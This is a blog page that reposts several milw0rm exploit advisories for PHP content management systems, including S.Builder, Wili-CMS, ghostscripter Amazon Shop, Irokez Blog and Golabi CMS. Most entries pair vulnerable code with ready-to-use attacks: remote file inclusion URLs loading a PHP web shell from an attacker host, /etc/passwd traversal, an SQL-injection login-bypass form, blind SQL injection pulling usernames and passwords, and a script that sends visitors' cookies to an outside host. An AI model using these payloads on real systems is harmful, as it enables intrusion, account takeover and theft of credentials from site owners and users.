Showing posts with label remote file inclusion (RFI). Show all posts
Showing posts with label remote file inclusion (RFI). Show all posts

CMS S.Builder <= 3.7 Remote File Inclusion Vulnerability

CMS S.Builder <= 3.7 RFI Vulnerability

Information:

Vendor: http://www.sbuilder.ru
Affected versions: 3.7 and possibly later versions


Description:

The engine of this cms makes site files (index.php, etc) with code like:
PHP Code:

if (!isset($GLOBALS['binn_include_path'])) $GLOBALS['binn_include_path'] = '';
...
include_once($GLOBALS['binn_include_path'].'prog/pl_menu/show_menu.php');
...

If register_globals=On, attacker can write remote url (if allow_url_fopen=On) or local path into variable binn_include_path.


PoC:

HTTP Request:

GET /index.php HTTP/1.1
Host: www.site.com
Cookie: binn_include_path=http://evil.site.com/shell.txt?

# by cr0w
# http://cr0w-at.blogspot.com

# milw0rm

Wili-CMS 0.4.0 (RFI/LFI/AB) Multiple Remote Vulnerabilities

Application: Wili-CMS
Version: 0.4.0
Website: http://wili-cms.sourceforge.net/

Bugs: [A] Multiple Remote/Local File Inclusion
[B] Authentication Bypass

Exploitation: Remote

Discovered by: Salvatore "drosophila" Fresta
Author: Salvatore "drosophila" Fresta
Contact: e-mail: drosophilaxxx@gmail.com

Menu

1) Bugs
2) Code
3) Fix

Bugs

- [A] Multiple Remote/Local File Inclusion

Requisites: none
File affected: index.php

This bug allows a guest to include remote and
local files and however to exec remote commands.

...

if ( $globals['dbh'] && !pageExists( $globals['pageid']['pid'] ) ) {
include( $globals['content_dir'].$globals['template_dir']."error404.php" );
}

...

include( template_file( $globals['root_template'] ) );


- [B] Authentication Bypass

Requisites: magic_quotes_gpc = off
File affected: lib/admin/init_session.php

This bug allows a guest to login as admin.

...

$_SESSION['password'] = $_REQUEST['password'] ? $_REQUEST['password']
: $_SESSION['password'];
$globals['username'] = $_SESSION['uname'] = $_REQUEST['uname'] ?
$_REQUEST['uname'] : $_SESSION['uname'];

...

$sth = mysql_query(
"SELECT id
FROM ".$globals['userstable']."
WHERE username='".$_SESSION['uname']."'
AND adminflag=1
AND password=PASSWORD('".$_SESSION['password']."')", $globals['dbh'] );

// password ok -> login
if ( mysql_num_rows( $sth ) && ( $globals['uid'] = mysql_result($sth,0) ) ) {
$globals['user'] = mysql_result( $userh = mysql_query( "SELECT id,
skipwelcome FROM ".$globals['userstable']." WHERE
username='".$globals['username']."'", $globals['dbh'] ),0,0);

if ( $globals['admin_modus'] == "loggedin" ) {
// log login
db_addlog( "Logged in from ".getenv("REMOTE_ADDR") );
// goto welcome page if skipwelcome flag of this user is not set
if ( !(mysql_result( $userh, 0, 1 )) ) {
$_REQUEST['npage'] = get_firstpage( "adminwelcome" );
}
$globals['admin_modus'] = "";
}

...

Code


- [A] Multiple Remote/Local File Inclusion

shell.txt: ?php system($_GET['cmd']); ?

http://www.site.com/path/?npage=-1&content_dir=http://www.evilsite.com/shell.txt&cmd=ls
http://www.site.com/path/?npage=1&content_dir=http://www.evilsite.com/shell.txt&cmd=ls

http://www.site.com/path/?npage=-1&content_dir=../../../../etc/passwd
http://www.site.com/path/?npage=1&content_dir=../../../../etc/passwd


- [B] Authentication Bypass

html
head
title Wili-CMS 0.4.0 Authentication Bypass Exploit /title
/head
body
form action="http://www.site.com/path/admin.php" method="POST"
input type="text" name="uname" value="admin"
input type="hidden" name="password" value="1') UNION ALL SELECT 1#"
input type="hidden" name="mode" value="loggedin"
input type="hidden" name="npage" value="1"
input type="submit" value="Exploit"
/form
/body
/html

Fix

No fix.

# milw0rm

ghostscripter Amazon Shop (XSS/DT/RFI) Multiple Vulnerabilities

ghostscripter Amazon Shop (XSS/directory traversal[Unix]/File Include)Vulns
Price: $549
Discovered By d3b4g
script: http://ghostscripter.com/amazon_shop.php
Greetz : str0ke & My friends
Follow me on twitter www.twitter.com/schaba

This script is suffer from Multiple Vulnerabilities

0x1 Directory traversal[Unix]

preety longone _))

P0c: http://demo.ghostscripter.com/amazon/add_review.php?id=B00004TXJV〈=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

0x2 Multiple File Include:

p0c:

http://demo.ghostscripter.com:80/amazon/cart.php?cmd=add&asin=[shell]
http://demo.ghostscripter.com:80/amazon/index.php?lang=[shell]
http://demo.ghostscripter.com:80/amazon/info.php?asin=[shell]

0x3 Cross Site Scripting (XSS)

http://demo.ghostscripter.com/amazon/search.php?query=1&mode=all

# milw0rm

Irokez BLog 0.7.3.2 (XSS/RFI/BSQL) Multiple Remote Vulnerabilities

Application: Irokez Blog
------------
Website: http://irokez.org
--------
Version: All (0.7.3.2)
--------
Date: 11-02-2009
-----

[ BLIND SQL-INJECTION ]

[ SOME VULNERABLE CODE ]

/classes/table.class.php

...
if ($is_trans) {
$query = "select t.*, m.* from {$this->_name} m"
. " left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)"
. " where m.id = '$id' group by {$this->_lang}";
} else {
$query = "select * from {$this->_name} where id = '$id'";
}
$result = $this->db->exeQuery($query);

===>>> Exploit:

http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1)) between 100 and '115
http://irokez/blog/life/15' and ascii(substring((select concat(login,0x3a,pass) from icm_users limit 0,1),1,1))='114
etc

[ ACTIVE XSS ]

in comments.

[ SOME VULNERABLE CODE ]

/scripts/blog/output-post.inc.php

input id="name" type="text" class="text" name="name" value="">"
label for="name">


  • input id="email" type="text" class="text" name="email" value="">"
    label for="email">


  • input id="site" type="text" class="text" name="site" value="">"
    label for="site">
    ...
    textarea id="message" name="message" class="textarea">>> Exploit:

    script img = new Image(); img.src = "http://sniffer/sniff.jpg?"+document.cookie; script

    [ INCLUDE ]

    [ SOME VULNERABLE CODE ]

    /thumbnail.php
    ...
    ob_start();
    switch ($module) {
    case 'gallery':
    include_once $GLOBALS['PTH']['classes'] . 'gallery.class.php';
    $Obj = new TBL_Gallery;
    $image_path = $GLOBALS['PTH']['gallery'] . getVar($Obj->select($id), 'src');
    break;
    default:
    $image_path = '';
    }

    ===>>> Exploit:

    http://irokez/modules/tml/block.tag.php?GLOBALS[PTH][classes]=[include]
    http://irokez/scripts/sitemap.scr.php?GLOBALS[PTH][classes]=[include]
    http://irokez/thumbnail.php?module=gallery&GLOBALS[PTH][classes]=[include]
    http://irokez/spaw/spaw_control.class.php?GLOBALS[spaw_root]=[include]

    Author: Eugene "Corwin" Ermakov
    -------

    Contact: corwin88[dog]mail[dot]ru
    --------

    # milw0rm
  • Golabi CMS Remote File Inclusion Vulnerability

    Application Info:
    Name: Golabi CMS
    Author: R3dM0ve
    HomePage: http://golabicms.sourceforge.net/
    Download: http://downloads.sourceforge.net/golabicms/Golabi_1.0.zip?use_mirror=freefr

    Vulnerability Info:
    Type: Remote File Inclusion (RFI)
    Requirement: register_globals [ON]
    Risk: High Critical
    Bug Hunter: CrazyAngel
    Details: Unhandled variable Inclusion in default template file results in RFI Vulnerability
    [*] Vul URL: [GOLABI_PATH]/templates/default/index_logged.php?main_loaded=1&cur_module=[EVIL_URL]

    # milw0rm